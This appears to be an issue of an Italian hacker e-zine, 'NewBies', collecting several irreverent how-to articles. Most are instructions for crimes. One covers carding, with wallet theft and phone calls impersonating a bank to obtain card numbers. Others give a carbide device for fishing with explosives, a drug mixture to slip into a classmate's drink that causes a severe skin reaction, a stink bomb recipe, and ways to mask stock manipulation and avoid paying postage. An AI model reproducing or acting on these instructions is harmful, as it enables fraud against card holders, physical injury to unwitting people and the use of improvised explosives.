ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» ºÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿º º³ "COMPLETAMENTO" DELL'ART APPARSO SU NewBies 2 SULLE BANCHE ³º ºÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙº ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ PREMESSA BY N0bodY88 = questo msg mi e' stato mandato come "completamento" del mio art sulle banche pubblicato sul numero 2 di NewBies. Ho deciso di pubblicarlo xche' spiega un po' meglio il modo x non farsi beccare e godere delle nostre imprese! Devi sapere che le azioni una volta che le poni in vendita sono vendute la miglior offerente e quindi anke su tu le vendi a 2.000 non Š detto che riesci a ricomprarle a 2.000 ... Un metodo + sicuro ? Tranzasione via rete : puoi venderle domani e oggi impostare come parametro di ricerca ed esecuzione che le azioni XXX vadano comprate nelle prossime 24 o 48 ore con una spesa massima di 2.000 lirette... Okkio che per fare una cosa del genere devi avere un conto in banca e almeno 1.000 dollari di account per giocare in borsa.... Tieni anke presente che se te le fai versare in banca devi pensare che la banca tiene il log delle tue operazioni e non sarebbe piacevole che ti fai inculare per una cazzatina cos•.... Quindi , se ti apri un'account con un broker on line e gli specifichi che i ricavi dei tuoi movimenti non ti vengano accreditati alla tua banca di appoggio ma reinvestiti in azioni , mi sa che Š + sicuro.... Se poi specifichi che una volta comprate le azioni della SexyShop a 2.000 devi metterle in vendita al miglior offerente e comprare Telecom a qualunque cifra entro 15 minuti , poi vendere su piazza italiana e con il ricavato comprare su piazza straniera riesci a mascherarti benino..... Specie se imposti queste operazioni la sera prima o meglio 2 giorni prima di vendere le azioni a poco , nessuno potr… mai dimostrare che hai fatto qualcosa di illegale , faranno fede i log del tuo broker on line... Vedi che i log non sono sempre cattivi? :-))) Anonimo NOTA DI N0bodY88 = l'autore di quest'art. e' un amico mio e di NewBies che vuole rimanere anonimo xche' molto conosciuto nel mondo dell'economia e delle transazioni. Ovviamente i complimenti a lui x la sua spiegazione imo molto ben fatta :-) ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» ºÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿º º³ LE "FAMOSE" BOLLE MICROSOFT ³º ºÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙº ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ Un art. veloce veloce... This art.'s DeD 2 : la photo con gli adesivi della MS sul qoolo!!. Eh eh...."caxxo sono 'ste bolle??" mi chiederete voi. "Una cosa molto divertente" vi rispondo io "specialmente se fatta con CD della Microshit!!". Agguantate un fottutissimo CD Microshit, levate quella schifezza di stratino di plastica che ricopre la parte superiore del CD, questa operazione si puo' effetuare in var modi: surf sull'asfalto (ulntwh99 eh eh), coltelluzzi vari ect. ect..... Ora prendete un accendino e riscaldate la parte inferiore del CD finche' non vedrete la superfice che incomincia a deformarsi, soffiateci sopra forte e vedrete una bolla tanto lunga quanto e' stata forte la vostra emissione di fiato dal vostro orifizio orale....(N0bodY88 riesce a fare delle bolle di 1/2 cm......ogni riferimento alle sigarette e' puramente casuale !!!) AH AH AH AH AH AH......!!!!!! Beh...questo e' quanto......Se vedemo BoyZ.... By *Dante Alighieri* NOTA BY N0bodY88 = salutiamo insieme il nostro mitico Dante che ci ha lasciato dopo che lo ho messo fuori dal NewBies Staff causa citazio_ ne in questo articolo...sniff...ci mancherai :PPPPP hihihi scherzavo ovviamente!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» ºÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿º º³ W LA PESCA DI FRODO ³º ºÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙº ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ Questo articolo e' da pazzi quindi non scrivetemi per dirmelo perche' lo so gia' !!! PESCA DI FRODO !!!! Chi di voi non vorrebbe fare 1 figurone con la propria ragazza (o no chi se ne fotte ...) al mare emergendo dagli abissi con 1a decina di pesci NELLE MANI o solamente sulla FIOCINA ???? Ecco qui il metodo semplice ed efficace ... A chimica 1 gg 1a gocciolina ebbe l'idea di cadere in 1a sostanza marrone solida ... ne sussegui' un urlo del prof "TUTTI A TERRA !!!!" poi ...dopo circa 20 sec --> BOUMMMMMMMMMMMMM !!! Si ruppe il lavello di "pietra" dove era contenuto il barattolo con la simpatica gocciolina ! Si venne poi a conoscere 1 interessante reazione ...il carburo a contatto con l'acqua esplode ! Vabbe' puo' non essere 1a cosa nuova ma per me lo era e da quel giorno nella mia sQuola si susseguirono numerose misteriose esplosioni ... AVEVO dato sfogo alla mia fantasia ...m'ero creato delle "bombe a tempo" dopo essermi ovviamente fottuto tutto il carburo del laboratorio di chimica !!! Bhe questo carburo lo uso anche per pescare di frodo poiche' basta metterlo in un involucro (piccolo per carita' !!!) come quello delle sorpresine kinder, bucarlo e buttarlo a una relativa profondita' con 1 sasso attaccatp plz ...la pressione aumentera' cosi' l'acqua avra' meno difficolta' a raggiungere l'interno del contenitore con conseguente esplosione . E' consigliabile attuare questo stratagemma dopo aver gettato esca che vada sul fondo come del resto il vostro contenitore !!! un altro metodo e' quello di gettare pane in quantita' industriale con lo scopo di attirare molti pesci poi buttarci in mezzo il contenitore con pero' il foro + largo in modo che qyalche skizzo penetri all'interno della confezione e "inneschi" il tutto !!! I pesci che emergerannno saranno direttamente proporzionali alla quantita' di pane gettato e alla quantita' di acrburo utilizzato ! Attenzione ...ai pescatori potrebbe non piacere molto sto scherzetto ...gli rubate il mestiere in fondo ... bY Anonymous ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» ºÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿º º³ W I PROF ASSENTI DA sQuola ³º ºÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙº ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ W L'ASSENTEISMO !!!! Volete FOTTERE qualcuno nel modo + bastardo possibile ? Bene Prendete nota allora di cio' che vi occorre ! >-> 1a pastiglia sublinguale di feldene (1 noto antiinfiammatorio) >-> 1a aspirina 03 >-> levolax in quantita' industriale ... mischiate il tutto in quanta acqua calda anzi bollente volete (meno e' meglio e') e lasciate fermentare il composto al sole per 1 gg . Dopo di cio' il tutto e' pronto all'utilizzo !!! Versate il tutto in 1a bevanda che berra' lo sfigati ... NB: LA SOSTANZA E' INSAPORE , TRASPARENTE , MA NON INODORE quindi nella Coca Cola va benissimo ! La reazione sara' fantastica : 1a semplice reazione allergica ...la pelle si squamera' , il prurito sara' insopportabile quindi l'individuo SI GRATTERA' VIA LA PELLE DA SOLO !!!!!!!! Stara' a casa + o - dai 2 ai 4 mesi a seconda delle quantita' e del soggetto! BUON DIVERTIMENTOOOOOOOOO HAHAHAHAHAHAHAHAHHOHOHOHOHOHOHOHHIHIHIHIHIHIHIHEHEHEHEHEHE !!!! (sono pazzo da legare ...) bY Anonymous ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» ºÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿º º³ L'ARTE DEL CARDING ³º ºÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙº ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ Buongiorno e buonasera a tutti. Leggendo il titolo di questo articolo alcuni (spero pochi) si saranno chiesti: "ma che diavolo e' il carding?". Bene, il carding e' l'uso di carte di credito altrui, ottenute illegalmente. E' un' attivita' discretamente diffusa anche in Italia, quindi entriamo subito nel l'argomento. E' d'obbligo fare una distinzione: ci sono essenzialmente due modi di fare carding: 1) RUBARE una carta di credito e andare in giro per negozi a fare acquisti 2) ottenere il NUMERO di una carta di credito ed ordinare per telefono. Per quanto riguarda il primo punto, non dovrebbero esserci molti problemi: individuate la vittima, che magari avete visto poco prima pagare in un negozio con una carta di credito (per questo vi consiglio di frequentare gli IperMercati di sabato pomeriggio), e le rubate il portafogli o la borsetta. Recuperate la carta di credito (da ora in avanti CC) e buttate via tutto il resto (anzi no, magari trattenete i soldi, visto che ci siete): vi trovate con in mano una CC bella fresca, precipitatevi in un negozio (chesso', di CD, di computer, di vestiti etc), comprate quello che volete, pagate con la CC e sentitevi soddisfatti. Facile, vero? Certo, ma ci sono delle cose a cui fare attenzione; vi consiglio di avere sempre un amico motorizzato fuori dal negozio nel caso doveste scappare all'improvviso (chesso', la cassiera puo' conoscere il vero proprietario della CC e sgamarvi); ricordate di non fare puttanate del tipo (se siete maschi) presentarvi con una CC intestata a "Mariettina Rossi", oppure (se siete donne) usare una CC intestata a "Fausto Bianchi"; siate sempre sicuri di voi, migliorera' anche il tono di voce, state calmi, non balbettate e tutto il resto, sono cose che fanno insospettire i commessi e fanno nascere grane. Per ultimo non andate nel negozio che frequentate sempre o in quello sotto casa, mi sembra piu' che ovvio. Ma il metodo che piu' preferisco e vi consiglio e' il secondo: ottenere un numero di CC e usarlo ordinando telefonicamente. Ci sono molti modi per ottenere numeri validi, fra poco vi descrivero' il migliore, ma cacchio, NON USATE I GENERATORI PER NUMERI DI CC che si trovano praticamente ovunque su internet, sono delle vaccate che vi mettono solo nei guai. Fate piuttosto cosi': prendete le pagine gialle (o le Pagine Utili Mondadori) spulciate nelle categorie ingegneri, medici, dentisti, avvocati etc, insomma nelle categorie di laureati che con piu' probabilita' hanno una CC e segnatevi i numeri, la via e tutto il resto. Ok, andate in una cabina telefonica (dannazione non fatelo dal telefono di casa), chiamate e spacciatevi per un dipendente della banca e cominciate a sparare troiate del tipo "siccome c'e' stato un aggiornamento nell'archivio del computer centrale, dovremmo verificare che i numeri di CC corrispondano..." insomma, usate la fantasia (come al solito), usate anche modi gentili e frasi del tipo "con gli altri clienti finora non ci sono stati problemi" per rassicurarli: al 99% vi daranno le informazioni che richiedete. Dovete farvi dare: tipo di CC, numero della CC e data di scadenza. Nome, cognome, indirizzo e numero telefonico ce l'avete gia'. WOW! Avete un numero valido di CC! E ora? Beh ora il piu' e' fatto: cercate una ditta dalla quale si possa ordinare per telefono e che permetta di pagare con CC (praticamente tutte) e telefonate (dalla cabina). Una telefonata tipo potrebbe essere: <Ditta> <Voi > <Ditta> <Voi > <Ditta> <Voi > <Ditta> <Voi > <Ditta> <Voi > <Ditta> <Voi > <Ditta> <Voi > <Ditta> <Voi > <Ditta> <Voi > Salve, qui e' la Computer&TuttoIlResto. Posso aiutarla? Salve. Si', vorrei fare un ordine. Benissimo, cosa vorrebbe ordinare? Una scheda video Voodooo3 Ok. Mi dovrebbe lasciare i suoi dati. Nome? [Nome e cognome del tizio della carta di credito] Indirizzo? [Indirizzo di dove avete intenzione di andare a ritirare il pacco] Ok, va bene una spedizione tramite corriere? Cazzo, va benissimo. Ma avevo intenzione di pagare tramite carta di credito Non ci sono problemi. Che carta di credito? Che numero? Scadenza? [Tutti i dati della carta di credito] Bene. Siccome io sono sempre fuori per lavoro, posso decidere l'orario in cui il corriere deve lasciarmi il pacco? Certo, non ci sono problemi. Bene, le 15:00 di giovedi' prossimo. Ok, salve e grazie! Ma grazie a lei! hihihihihi (ghigno malefico) Che coincidenza! Alle 15:00 del giovedi' vi fate trovare al portone del l'edificio, fate finta di niente e dite al ragazzo del corriere "Ah! E' il pacco di Computer&TuttoIlResto? Si'? E' per me, sono il sig. [Cognome del tizio della carta di credito]". Vi fara' firmare una ricevuta, mettete uno scarabocchio alla cazzo, prendete il pacco e divertitevi. "Beh, e al tizio della CC che diavolo succede?" E che diavolo ve ne fotte?!? Comunque, tanto per sapere, gli verra' accreditato l'ordine che avete fatto voi sulla ricevuta che gli arriva regolarmente ogni mese, chiedera' informazioni, cercheranno di capire cos'e' successo, si ricordera' della telefonata del tipo gentile della banca e se lo sentira' mooolto profondamente nel culo. E vissero tutti (tranne lui) felici e contenti. Ancora un paio di precisazioni: non fate ordini troppo costosi, i controlli aumenterebbero; acquistate roba sotto le 100-150.000, tanto e' sempre gratis, no? Rischierete molto meno. Siate sempre convinti&sicuri, ne gioveranno tutti. Per concludere volevo commentare alcune cose che ho letto sull'argomento che non condivido affatto; in molti articoli statunitensi sul carding ho letto cose del tipo "fate lasciare il pacco in un edificio disabitato, o da qualcuno che sia partito in vacanza". Cacchio, ma da loro non esistono le ricevute? Da loro i corrieri sono cosi' imbecilli da lasciare i pacchi incustoditi? Mah... oppure mi e' capitato di leggere di applicare la tecnica del trashing; praticamente di rompere i sacchetti dell'immondizia di un negozio che accetta CC per ottenere degli scontrini con i dati che ci servono. Uh? E quando mai ci sbrighiamo? Dovremmo stare mesi a ravanare tra le loro merdate a caccia di un minuscolo scontrino che magari hanno anche strappato... Ok, la finisco qui, comunque state bene attenti e riflettete quando leggete documenti di questo tipo: alcune volte ci sono scritte delle vere e proprio boiate (spero non sia il caso di questo). Aloha! Killexx NOTA BY /sPIRIT/ = Se il trashing non serve a un cazzo io sono Bill Gates... ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» ºÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿º º³ ARRIVANO I VANDALI !!! ³º ºÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙº ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ Autore: Fusyllo Consumo: 1 paco di...(forse e' meglio che non mangiate) e una maschera antigas :) Musica ascoltata: quella che volete Dedicato: a tutto lo staff di NewBies. Quante volte avete sentito parlare di Stinky Bomb?? Mai? Allora ve lo spiego. La Stinky Bomb e' una miscela che ha una puzza insopportabile che puo' essere usata per fare scherzi. Quello che vi serve. - Alcol - Profumi vari - Zolfo - Ammoniaca - Polvere di ferro - Limone o aceto (io preferisco il limone) - Fonte di calore - Pentolino o provetta - Bilancia - I contenitori delle sorprese nell'uovo kinder Come si prepara Sarebbe meglio andare in garage o a casa di un altro ;-)). Dovete mischiare un po di tutti i profumi che avete e 1/2 di alcol. Prendete un pentolino, mettete 7g di ferro e 4g di zolfo riscaldatelo e quando inizia ad uscire il fumo aggiungete il succo di limone quanto basta, ora avete del solfuro di ferro. Sciogliete l'ammoniaca in acqua. Poi mischiate 3/6 di solfuro di ferro, 1/6 di ammoniaca e 2/6 di profuumi. Sentite gia' l'odorino :-D Prendete i contenitori della sorpresa dell'uovo e siggillateli intorno con del nastro isolante (quello degli elettricisti) e fare un buco sopra, mettete il liquido e chiudete il buco con dell'altro nastro. Le Stinky Bomb sono pronte, le aprite quando le dovete usare e le mettete nella tasca di qualcuno a nella macchina. [email protected] Fusyllo ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» ºÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿º º³ POSTING ovvero SE IO SONO IO E TU 6 TU KI E' IL + SCEMO TRA NOI 2 ³º ºÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙº ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ POSTING ?!?!?! ovvero: Se io sono io e tu 6 tu ki e' il + scemo tra noi 2 applicato alle PT !! E' vero che siamo nell'era della posta elettronica,ma kakkio un modo per fregare l'ente postale mi e' venuto in mente solo ora...!!! Tengo a precisare che non l'ho ancora provato (datoche non mi e' ankora servito) ma penso proprio che dovrebbe funzionare.Quest'oggi il mio articolo e' dedicato ad un bel po'di persone.....per primi tutti coloro che mi hanno conosciuto al meeting a Bologna (35 people..Wow) Poi ankore alla ragazza che durante il meeting mi ha detto "ah tu sei Dante Alighieri....piacere io sono Des..." a cui ho pensato per tutto il giorno nella speranza di riuscire a capire ki era. Infine alle BOLLE sui CD della Microshit con cui ci siamo divertiti per una buona mezz'ora. Ma ora passiamo all'art vero e proprio.... L'articulo si basa sul metodo di spedire lettere o pacchi senza pagare un benemerito caxxo.... A parte il sitema organizzato gia' parecchio tempo fa da dei ragazzi napoletaniche stampavano con una printer ad alta risoluzione francobolli assolutamente falsi...me ne ricordo uno con la foto di un pezzo di figa assurdo tutta ignuda con al posto della scritta "Poste Italiane" la scritta "Toste Italiane" penso ci sia un'altro metodo abbastanza carino che mi e'venuto in mente un po' di weeks ago. Cosa succede ad una lettera spedita senza francobollo ??beh....arriva al destinatario a cui viene chiesto se vuole pagare la tassa per ricevere la lettera oppure far ritornare la lettera al mittente. Fin qui' niente di strano ma....se provassimo ad invertire il nome del mittente con quello del destinatario??? La lettera arriva a me che in realta' sono il mittente ma che secondo la lettera sono il destinatario, a quel punto mi chiedono : vuole pagare la tassa ??? io gli rispondo : NoPe... non mi interessa. Allora le poste che fanno??? Fanno ritornare la lettera al mittente...che in realta' e' il destinatario !!! ahhahaahahahahhahahahahah By Dante Alighieri N.B.Alla fine ho scoperto ki era quella ragazza...Ciao Desdy !!! ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» ºÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿º º³ COME HACKERARE UNO SCOOTER ³º ºÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙº ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ cIAO gente! sono ancora io ...PiNbALL.... Vorrei parlare di un argomento abbastanza importante..... Quante umiliazioni avete subito ad un semaforo ? Il vostro scooter non si muove se qualcuno non lo piglia a calci? No problem.....con 270.000 circa potrete avere una skeggia di ripresa! Quanti di voi hanno sempre sognato di elaborare il proprio scooter spendendo pochi soldi??? Volete far si che il vostro scooter si alzi su una ruota appena girate la manopola del gas su 1/3 ?Vi dico subito che questo e' stato testato sul mio motorino con esiti + che positivi ed anche se non sono un meccanico professionista non ho avuto molte difficolta'! ATTENZIONE: Le modifiche sotto riportate sono valide per motorini originali o meglio che non hanno mai subito modifiche...(un modello base insomma) O MEGLIO "COME COSTRUIRE UN AEREO" MOTORE: Smontate testa,cilindro e pistone dal motorino;appoggiateli su un panno e puliteli,lavateli con un qualsiasi prodotto e asciugateli bene;poi prendete una lima molto fine ed iniziate ad appiattire la testa del pistone in modo da farla diventare piatta.Prendete il cilindro e sempre con la lima allargate i travasi e le luci di scarico(sono buchi semirettangolari nelle pareti del cilindro).Adesso date una guardatina all' albero motore e controllate che abbia la gabbia a rulli(se no provvedete a sostituirla).Rimontate tutto e se volete fare una cosa fatta bene sostituite la candela con una di grado termico superiore di 1-2 punti. CARBURATORE: Allora:stesso procedimento del motore per la pulizia,ma e' necessario farlo molto + accuratamente e soffiando dell'aria compressa(se ce l'avete e' meglio) in tutti i buchi e che trovate.Guardate il numero del getto del carburatore (una grossa vite color oro)che dovrebbe essere un 74-76 e sostituitelo con uno di 10 punti + grosso. PACCO LAMELLARE: E' quell'oggetto di forma quadrata con attaccate delle lamelle che si trova tra i collettore e il cilindro.Quindi svitate le lamelle del pacco e sostituitele con quelle da corsa che sono + leggere e meglio ancora se le prendete in carbonio. COLLETTORE DI SCARICO: E'il tubo che collega il motore al carburatore e puo' essere o di plastica dura o di ferro: dovete solo sostituirlo con uno + grosso (ma sembre con l'imboccatura del 12). FILTRO: Sostituitelo con uno da gara.....ce ne sono di tutti i tipi....vi consiglierei di sceglierlo a seconda frequenza con cui lo usate in una determinata stagione. Adesso vi spiego meglio:da ottobre a maggio prendete un filtro abbastanza chiuso (anche quello in metallo va bene) mentre per il periodo che va da giugno a settembre potrete prendere un filtro aperto (vedi quelli in spugna). VARIATORE: Sostituitelo con uno da corsa quindi + leggero. MASSETTE: Sostituitele con altre da 3 g CINGHIA: Sostituitela con una da corsa + resistente e + leggera FRIZIONE: Sostituitela con una "regolabile" e lasciatela con le impostazioni di default MOLLA DI CONTRASTO: Fa parte della componentistica della frizione.Dovete sostituirla con una Malossi (colore ROSSO) o se non la trovate, prendete la + dura. MOLLETTINE: Fanno parte della componentistica della frizione.Prendete le + dure che riuscite a trovare CARTER: E' il coperchio che avete smontato per accedere al variatore e alla frizione. Dunque qui le cose si complicano....dovete fare 4 buchi in alto a sinistra (tre del diametro di 2.6 cm e il quarto di 2 cm) e tre buchi sulla destra (due del diametro di 1.8 cm e uno di 1 cm). Poi copriteli semplicemente con un po di colla e un po di spugna (ma attenzione;mettete la colla attorno al buco e non sopra...senno' non servira' a niente..). COSTO INDICATIVO DEI PEZZI DI RICAMBIO NECESSARI A QUESTO LAVORO: -Cinghia e' 10.000 -Molla e' 10.000 -Mollettine e' 10.000 -Frizione e' 120.000 -Getto e' 1.000 -Lamelle e' 10.000 -Massette e' 10.000 -Variatore e' 50.000 -Filtro e' 20.000 -Collettore e' 30.000 Costo totale e' 270.000 P.S.: Giusto che sono in tema di meccanica ne approfitto per dirvi una cosa che mi fa sempre inca**are. Quasi tutti pensano che la benzina senza piombo (verde) sia nociva per una macchina o un motorino dove nel manuale sia prescritto di usare esclusivamente benzina super(rossa).Insomma tutti credono che "sputtani" il motore. Invece io vi dico dei motivi per cui comprare la benza verde: -Costa 185 e' meno della rossa -Non intasa la marmitta e lubrifica meglio le cose -Inquina meno -Quando siete senza droghe....vi fa svarionare + della rossa se ve la inalate (by Kutt) E solo un motivo per non usarla -Diminuisce le prestazioni del 4% (wow)! P.P.S.: Ci sara' presto un update a questo articolo per quanto riguarda il discorso centralina bY PiNbALL [email protected] or #discomania ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ ²°°°ÛÛÛÛÛÛÛÛ°°ÛÛÛÛÛÛÛÛ°°ÛÛÛÛÛÛÛÛ°°ÛÛÛÛÛÛÛÛ°°ÛÛ°°ÛÛ°°ÛÛ°°ÛÛÛ°°°ÛÛ°°ÛÛÛÛÛÛÛÛ°°°² ²°°°ÛÛ°°°°ÛÛ°°ÛÛ²²²²ÛÛ°°ÛÛ²²²²ÛÛ°°ÛÛ°°°°ÛÛ°°ÛÛ°ÛÛ°°°ÛÛ°°ÛÛÛÛ°°ÛÛ°°ÛÛ°°°°°°°°°² ²°°°ÛÛ°°°°°°°°ÛÛÛÛÛÛÛÛ°°ÛÛÛÛÛÛÛÛ°°ÛÛ°°°°°°°°ÛÛÛÛ°°°°ÛÛ°°ÛÛ°ÛÛ°ÛÛ°°ÛÛ°°ÛÛÛÛ°°°² ²°°°ÛÛ°°°°ÛÛ°°ÛÛ°°ÛÛ°°°°ÛÛ°°°°ÛÛ°°ÛÛ°°°°ÛÛ°°ÛÛ°ÛÛ°°°ÛÛ°°ÛÛ°°ÛÛÛÛ°°ÛÛ°°°°ÛÛ°°°² ²°°°ÛÛÛÛÛÛÛÛ°°ÛÛ°°°ÛÛÛ°°ÛÛ°°°°ÛÛ°°ÛÛÛÛÛÛÛÛ°°ÛÛ°°ÛÛ°°ÛÛ°°ÛÛ°°°ÛÛÛ°°ÛÛÛÛÛÛÛÛ°°°² ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» 